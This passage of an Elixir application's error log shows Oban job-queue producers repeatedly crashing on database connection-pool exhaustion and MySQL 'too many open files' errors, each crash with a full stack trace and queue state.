    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:03:52.239701Z], limit: 3, uuid: "980a9403-89ee-443e-a865-7ec3cfc65c4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.239708Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42459>, refresh_timer: #Reference<0.2525715032.1121189889.155055>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:03:52.239723Z], limit: 20, uuid: "2cb89d23-9345-430c-a4fc-29c38322e77f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.239729Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.20341>, refresh_timer: #Reference<0.2525715032.1077673987.20325>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:03:52.239863Z], limit: 50, uuid: "f48a7464-e6f2-47e4-9f0d-e6d2178a22e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.239867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42456>, refresh_timer: #Reference<0.2525715032.1099431938.42443>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.687000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:05.852000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:08.370000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:11.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:16.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:16.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:04:05.240295Z], limit: 3, uuid: "63abd8aa-9630-47d8-a9bc-db2dddb3bb45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.240301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155358>, refresh_timer: #Reference<0.2525715032.1121189889.155311>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:04:05.240672Z], limit: 5, uuid: "597c1de7-c136-4c14-bb45-4cb48276925f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.240680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42779>, refresh_timer: #Reference<0.2525715032.1099431938.42769>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:04:05.241268Z], limit: 50, uuid: "1340060d-aa7c-44d2-a7bb-ab52bb9d6e29", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.241274Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42780>, refresh_timer: #Reference<0.2525715032.1068498948.44848>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:04:05.240548Z], limit: 5, uuid: "1d719b00-b0d0-4fd8-bc9d-49858505b9bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.240553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42782>, refresh_timer: #Reference<0.2525715032.1121189889.155327>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:04:05.240815Z], limit: 10, uuid: "e880e23e-0980-47b9-ae85-64b9bb447428", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.240819Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42781>, refresh_timer: #Reference<0.2525715032.1121189889.155334>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:04:05.240677Z], limit: 20, uuid: "722881d2-e7be-4ea9-a50d-4036ec598316", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:05.240682Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155357>, refresh_timer: #Reference<0.2525715032.1121189889.155328>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:17.849000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:19.463000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
